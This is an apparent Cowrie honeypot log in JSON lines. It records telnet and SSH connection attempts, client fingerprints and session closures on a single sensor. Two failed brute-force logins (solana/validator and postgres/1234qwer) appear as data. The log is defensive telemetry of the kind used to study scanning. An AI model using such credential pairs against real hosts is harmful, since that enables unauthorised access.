{"eventid":"cowrie.session.closed","duration":42.130200147628784,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:18.785251Z","src_ip":"165.232.131.181","session":"2a064ec2ebee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39128,"dst_ip":"10.17.0.5","dst_port":23,"session":"0737a4223c04","protocol":"telnet","message":"New connection: 38.54.119.93:39128 (10.17.0.5:23) [session: 0737a4223c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:18.857167Z"}
{"eventid":"cowrie.session.closed","duration":36.239341735839844,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:18.874563Z","src_ip":"165.232.131.181","session":"4add84627c35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":59500,"dst_ip":"10.17.0.5","dst_port":22,"session":"c763e0deccae","protocol":"ssh","message":"New connection: 194.59.206.2:59500 (10.17.0.5:22) [session: c763e0deccae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:19.276531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:19.280893Z","src_ip":"194.59.206.2","session":"c763e0deccae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:19.366855Z","src_ip":"194.59.206.2","session":"c763e0deccae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:19.456674Z","src_ip":"194.59.206.2","session":"c763e0deccae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.49472713470459,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:21.125763Z","src_ip":"62.210.97.77","session":"74cbc3b43249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.61238193511963,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:22.480131Z","src_ip":"165.232.131.181","session":"8ac42aaa0197","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.609699010849,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:22.552209Z","src_ip":"62.210.97.77","session":"bad165a5c6ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.28685998916626,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:22.814350Z","src_ip":"62.210.97.77","session":"aea23e695544","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51218,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb3958c64159","protocol":"telnet","message":"New connection: 62.210.97.77:51218 (10.17.0.5:23) [session: cb3958c64159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:23.318163Z"}
{"eventid":"cowrie.session.closed","duration":34.85204482078552,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:24.353177Z","src_ip":"62.210.97.77","session":"b824863b4681","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.08069849014282,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:24.971308Z","src_ip":"65.60.27.33","session":"10020203d0e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.801815032958984,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:25.658857Z","src_ip":"38.54.119.93","session":"0737a4223c04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51220,"dst_ip":"10.17.0.5","dst_port":23,"session":"e02cd3cd1a93","protocol":"telnet","message":"New connection: 62.210.97.77:51220 (10.17.0.5:23) [session: e02cd3cd1a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:26.811117Z"}
{"eventid":"cowrie.session.closed","duration":40.23541736602783,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:26.931559Z","src_ip":"165.232.131.181","session":"3c74f31e3806","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.07058382034302,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:28.328093Z","src_ip":"65.60.27.33","session":"29047700cb2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36730,"dst_ip":"10.17.0.5","dst_port":23,"session":"03541a462966","protocol":"telnet","message":"New connection: 62.210.97.77:36730 (10.17.0.5:23) [session: 03541a462966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:28.629939Z"}
{"eventid":"cowrie.session.closed","duration":43.24417567253113,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:28.789484Z","src_ip":"165.232.131.181","session":"4bec15894a34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.7878098487854,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:29.880599Z","src_ip":"62.210.97.77","session":"adc87adf60c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36736,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfda08798016","protocol":"telnet","message":"New connection: 62.210.97.77:36736 (10.17.0.5:23) [session: bfda08798016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:29.886006Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":48388,"dst_ip":"10.17.0.5","dst_port":23,"session":"51814b094b1f","protocol":"telnet","message":"New connection: 165.232.131.181:48388 (10.17.0.5:23) [session: 51814b094b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:31.011720Z"}
{"eventid":"cowrie.session.closed","duration":46.48229932785034,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:31.542971Z","src_ip":"165.232.131.181","session":"c52ec6090346","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":34404,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f02bc2ddb71","protocol":"ssh","message":"New connection: 80.94.92.182:34404 (159.203.135.109:22) [session: 3f02bc2ddb71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:31.614604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:31.766194Z","src_ip":"80.94.92.182","session":"3f02bc2ddb71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:31.770280Z","src_ip":"80.94.92.182","session":"3f02bc2ddb71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"validator","message":"login attempt [solana/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:32.698776Z","src_ip":"80.94.92.182","session":"3f02bc2ddb71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51984,"dst_ip":"10.17.0.5","dst_port":23,"session":"62587dbfa89d","protocol":"telnet","message":"New connection: 165.232.131.181:51984 (10.17.0.5:23) [session: 62587dbfa89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:33.405916Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36740,"dst_ip":"10.17.0.5","dst_port":23,"session":"231bd9e2e901","protocol":"telnet","message":"New connection: 62.210.97.77:36740 (10.17.0.5:23) [session: 231bd9e2e901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:33.426348Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":45532,"dst_ip":"10.17.0.5","dst_port":23,"session":"75210ed86af2","protocol":"telnet","message":"New connection: 65.60.27.33:45532 (10.17.0.5:23) [session: 75210ed86af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:33.722764Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:33.906986Z","src_ip":"80.94.92.182","session":"3f02bc2ddb71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":52356,"dst_ip":"10.17.0.5","dst_port":23,"session":"f98ba4721479","protocol":"telnet","message":"New connection: 165.232.131.181:52356 (10.17.0.5:23) [session: f98ba4721479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:34.427067Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49158,"dst_ip":"10.17.0.5","dst_port":23,"session":"05fe0bd88478","protocol":"telnet","message":"New connection: 38.54.119.93:49158 (10.17.0.5:23) [session: 05fe0bd88478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:36.137658Z"}
{"eventid":"cowrie.session.closed","duration":34.33269929885864,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:39.210067Z","src_ip":"62.210.97.77","session":"8e87fda0effb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.158291816711426,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:39.585277Z","src_ip":"165.232.131.181","session":"f98ba4721479","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.94996190071106,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:39.610761Z","src_ip":"62.210.97.77","session":"36b4ec9e7c3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51712,"dst_ip":"10.17.0.5","dst_port":23,"session":"578906ca9b06","protocol":"telnet","message":"New connection: 165.232.131.181:51712 (10.17.0.5:23) [session: 578906ca9b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:39.709059Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":47078,"dst_ip":"10.17.0.5","dst_port":22,"session":"badb35482570","protocol":"ssh","message":"New connection: 187.16.96.250:47078 (10.17.0.5:22) [session: badb35482570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:41.244103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:41.250309Z","src_ip":"187.16.96.250","session":"badb35482570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:41.367471Z","src_ip":"187.16.96.250","session":"badb35482570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1965913772583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:41.633834Z","src_ip":"62.210.97.77","session":"609c20e270d6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1234qwer","message":"login attempt [postgres/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:41.866164Z","src_ip":"187.16.96.250","session":"badb35482570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:42.986432Z","src_ip":"187.16.96.250","session":"badb35482570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.54209232330322,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:43.193586Z","src_ip":"165.232.131.181","session":"cf2e6b99d724","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.516576290130615,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:43.642722Z","src_ip":"165.232.131.181","session":"9bec143e5add","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33154,"dst_ip":"10.17.0.5","dst_port":23,"session":"6afe4192b109","protocol":"telnet","message":"New connection: 62.210.97.77:33154 (10.17.0.5:23) [session: 6afe4192b109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:43.646909Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33156,"dst_ip":"10.17.0.5","dst_port":23,"session":"35ec70e6fcc8","protocol":"telnet","message":"New connection: 62.210.97.77:33156 (10.17.0.5:23) [session: 35ec70e6fcc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:43.739924Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54008,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad7ebaa1667a","protocol":"telnet","message":"New connection: 38.54.119.93:54008 (10.17.0.5:23) [session: ad7ebaa1667a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:43.910747Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33168,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e204af1cec7","protocol":"telnet","message":"New connection: 62.210.97.77:33168 (10.17.0.5:23) [session: 3e204af1cec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:45.439400Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33176,"dst_ip":"10.17.0.5","dst_port":23,"session":"732b50fa5123","protocol":"telnet","message":"New connection: 62.210.97.77:33176 (10.17.0.5:23) [session: 732b50fa5123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:45.730417Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33178,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf1b7e6c390c","protocol":"telnet","message":"New connection: 62.210.97.77:33178 (10.17.0.5:23) [session: bf1b7e6c390c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:46.604668Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33190,"dst_ip":"10.17.0.5","dst_port":23,"session":"310d8f619e66","protocol":"telnet","message":"New connection: 62.210.97.77:33190 (10.17.0.5:23) [session: 310d8f619e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:48.392669Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52924,"dst_ip":"10.17.0.5","dst_port":23,"session":"18c48cc96fa8","protocol":"telnet","message":"New connection: 62.210.97.77:52924 (10.17.0.5:23) [session: 18c48cc96fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:49.065980Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52928,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e242cfdbea6","protocol":"telnet","message":"New connection: 62.210.97.77:52928 (10.17.0.5:23) [session: 3e242cfdbea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:49.220332Z"}
{"eventid":"cowrie.session.closed","duration":44.00381875038147,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:50.272526Z","src_ip":"165.232.131.181","session":"639a2c5cb269","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.42850184440613,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:50.565995Z","src_ip":"62.210.97.77","session":"87501c021db6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.224809885025024,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:50.985938Z","src_ip":"62.210.97.77","session":"082fcb28a6b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.88134002685547,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:51.427485Z","src_ip":"62.210.97.77","session":"4e257077a074","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.56833600997925,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:51.503613Z","src_ip":"62.210.97.77","session":"6204c6fff8b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52938,"dst_ip":"10.17.0.5","dst_port":23,"session":"05471f78cdc6","protocol":"telnet","message":"New connection: 62.210.97.77:52938 (10.17.0.5:23) [session: 05471f78cdc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:51.844061Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59156,"dst_ip":"10.17.0.5","dst_port":23,"session":"aca13391b2f9","protocol":"telnet","message":"New connection: 38.54.119.93:59156 (10.17.0.5:23) [session: aca13391b2f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:52.405640Z"}
{"eventid":"cowrie.session.closed","duration":46.06092619895935,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:53.320046Z","src_ip":"65.60.27.33","session":"2ba9c7699f77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.574896812438965,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:54.801156Z","src_ip":"62.210.97.77","session":"a6d716838c8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.41082692146301,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:56.143417Z","src_ip":"165.232.131.181","session":"c3cf24dc79c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.18022441864014,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:59.498285Z","src_ip":"62.210.97.77","session":"cb3958c64159","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38430,"dst_ip":"10.17.0.5","dst_port":23,"session":"cef9cb14ccab","protocol":"telnet","message":"New connection: 62.210.97.77:38430 (10.17.0.5:23) [session: cef9cb14ccab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:59.526864Z"}
{"eventid":"cowrie.session.closed","duration":28.52494716644287,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:59.536556Z","src_ip":"165.232.131.181","session":"51814b094b1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.8000214099884,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:14:01.611027Z","src_ip":"62.210.97.77","session":"e02cd3cd1a93","protocol":"telnet"}
